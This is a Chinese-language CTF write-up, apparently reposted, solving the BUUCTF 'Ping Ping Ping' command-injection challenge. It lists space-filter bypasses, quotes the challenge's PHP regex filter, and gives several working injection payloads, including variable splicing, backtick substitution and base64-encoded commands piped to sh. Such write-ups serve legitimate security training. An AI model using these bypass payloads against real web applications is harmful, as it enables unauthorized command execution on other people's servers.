微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

BUUCTF-Web:[GXYCTF2019]Ping Ping Ping

题目

解题过程

1、题目页面提示?ip=,猜测是让我们把这个当做变量上传参数,由此猜想是命令注入

2、用管道符加上linux常用命令ls(windwos可以尝试dir)试试

所谓管道符(linux)的解释与用法如下:


尝试命令:

?ip=127.0.0.1;ls


看到flag.PHP,那就使用cat flag.PHP命令尝试读取

?ip=127.0.0.1;cat flag.PHP


被过滤了空格,过滤空格的方法如下:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.PHP}  //用逗号实现了空格功能
%20 
%09 

尝试命令1:

?ip=127.0.0.1;cat$IFS$1flag.PHP

还是被过滤了
查看一下index.PHP,查看一下过滤机制,命令如下:

?ip=127.0.0.1;cat$IFS$1index.PHP

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这些是正则匹配的过滤方式,好像过滤了很多命令

1、利用*匹配任意不行

?id=127.0.0.1;cat$IFS$1fl*

被过滤了

2、尝试base64绕过

?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash

还是不行

3、尝试ca\t$IFS$1fl\ag.PHP

?ip=127.0.0.1;ca\t$IFS$1fl\ag.PHP

被过滤了

4、尝试cat fl’'ag.PHP

?ip=127.0.0.1;cat$IFS$1fl’'ag.PHP

还是被过滤了

5、构造一个$a变量,尝试a=g;cat$IFS$1fla$a.PHP

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.PHP


成功,可以在注释里找到flag

6、使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.PHP 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了)

?ip=127.0.0.1;cat$IFS$9`ls`


成功,可以在注释里找到flag

7、base64绕过时bash被过滤了,尝试用sh代替

?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh


成功,可以在注释里找到flag

总结

以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐